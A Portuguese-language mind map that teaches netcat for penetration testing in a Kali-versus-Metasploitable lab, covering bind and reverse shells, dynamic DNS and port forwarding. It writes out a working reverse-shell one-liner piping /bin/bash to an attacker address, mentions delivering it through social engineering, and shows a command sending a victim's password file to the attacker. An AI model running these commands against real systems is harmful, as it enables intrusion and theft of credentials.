Canivete Suíço (NETCAT)

Começar. É Gratuito
ou inscrever-se com seu endereço de e-mail
Rocket clouds
Canivete Suíço (NETCAT) por Mind Map: Canivete Suíço (NETCAT)

1. Introdução

1.1. NetCat

1.1.1. Conhecido como o "canivete suíço do TCP/IP".

1.1.2. Permite a atuação tanto como cliente quanto como servidor.

1.1.3. Com essa ferramenta é possível, de forma prática, entender conceitos como...

1.1.3.1. Conexão direta

1.1.3.1.1. Bind Shell

1.1.3.2. Conexão reversa

1.1.3.2.1. Reverse Shell

1.1.3.3. DNS dinâmico

1.1.3.4. Backdoor

1.1.4. Funciona como uma "ponte".

2. Uso Básico do NETCAT

2.1. O netcat vem por padrão no Kali Linux.

2.2. netcat

2.2.1. nc

2.2.2. Flags

2.2.2.1. -h

2.2.2.1.1. Exibe lista de comandos.

2.2.2.2. -l

2.2.2.2.1. "Listen", serve para agir como servidor.

2.2.2.3. -p [PORTA]

2.2.2.3.1. Determina a porta a ser aberta.

2.2.3. Possiblidades

2.2.3.1. É possível se conectar em algum local.

2.2.3.1.1. Cliente

2.2.3.2. É possível escutar (listen), receber conexões.

2.2.3.2.1. Servidor

2.3. Em um processo de invasão, é possível usar o netcat como ponte.

2.3.1. Pode-se abrir uma conexão em uma porta distinta usando o netcat para ganhar shell, invadir remotamente, etc.

3. Conceito de Bind e Reverse Shell

3.1. Existem dois conceitos importantes dentro do mundo das conexões através do NETCAT.

3.1.1. Para entender os dois conceitos, vamos imaginar um cenário com dois computadores, o Computador 1 (vítima) e o Computador 2 (atacante).

3.1.1.1. Bind Shell (Conexão Direta)

3.1.1.1.1. O Computador 1 (vítima) tem um endereço IP público e é possível se conectar nele, e ele está escutando (listening) na porta 1000 anexando o shell na conexão.

3.1.1.1.2. O Computador 2 (atacante) pode se conectar nessa porta e ter acesso ao Computador 1 através do /bin/bash transmitido.

3.1.1.1.3. Se esse comando estivesse rodando de forma oculta no Computador 1, seria possível ter acesso remoto através do Computador 2. Seria como uma porta dos fundos.

3.1.1.1.4. O Computador 1 (vítima) é o servidor. O Computador 2 (atacante) é o cliente que acessa o servidor.

3.1.1.2. Reverse Shell (Conexão Reversa)

3.1.1.2.1. O Computador 1 (vítima) se conecta no Computador 2 (atacante). O Computador 2 tem um IP público e está escutando em uma certa porta.

3.1.1.2.2. O Computador 2 (atacante) irá explorar a vítima através dessa conexão recebida nele.

3.1.1.2.3. O Computador 1 (vítima) é o cliente. O Computador 2 (atacante) é o servidor.

4. Entendendo o DNS Dinâmico

4.1. É relativamente fácil realizar uma conexão reversa na rede local através do netcat, mas pode ser um grande desafio fazer em uma rede externa.

4.1.1. Possibilidades

4.1.1.1. Modem

4.1.1.1.1. Dentro do modem é possível permitir uma conexão reversa a partir do endereço.

4.1.1.1.2. Port Fowarding (redirecionamento de porta).

4.1.1.1.3. DMZ host

4.1.1.1.4. Haverá um problema

4.1.1.2. DDNS

4.1.1.2.1. Um nome será registrado cada vez que o IP muda.

4.1.1.2.2. Alguns serviços na internet possibilitam o uso de um DNS Dinâmico gratuitamente.

5. Reverse Shell

5.1. Conexão Reversa.

5.2. Cenário

5.2.1. Kali Linux

5.2.1.1. ATACANTE

5.2.1.1.1. 192.168.0.24

5.2.1.2. Servidor

5.2.1.2.1. Recebe conexão da vítima.

5.2.1.2.2. nc -nlp 3000 -v

5.2.2. Metasploitable

5.2.2.1. VÍTIMA

5.2.2.1.1. 192.168.0.28

5.2.2.2. Cliente

5.2.2.2.1. nc 192.168.0.24 3000 -e /bin/bash

5.2.2.2.2. Conecta-se no atacante através de um método (engenharia social, etc).

5.2.2.2.3. Anexa o shell na conexão.

6. Skills com o NetCat

6.1. O netcat pode ser usado de várias formas em uma rede, sendo um verdadeiro canivete suíço do TCP/IP.

6.2. Uma habilidade com o netcat é a de transferir arquivos explorando a conexão aberta com ele.

6.2.1. É possível fazer isso com direcionadores (< >)

6.2.2. Digamos que há, por exemplo, um arquivo de texto com senhas (senhas.txt) no computador-alvo (vítima).

6.2.3. Usando o computador-atacante (Kali Linux), abre-se uma conexão reversa.

6.2.3.1. nc -nvlp 1500 > chegou.txt

6.2.4. O computador-alvo redirecionará o conteúdo do arquivo para o computador-atacante.

6.2.4.1. nc 192.168.0.24 1500 < senhas.txt

6.3. Seria interessante reservar um tempo para estudar mais sobre as utilidades do NetCat.

7. Abrindo Porta

7.1. Abrir portas é necessário para permitir conexões externas (ou internas) na rede.

7.1.1. Roteador

7.2. Port Checker (scanner de porta)

7.3. IP externo

7.4. É necessário estar com o serviço rodando para a porta ser reconhecida.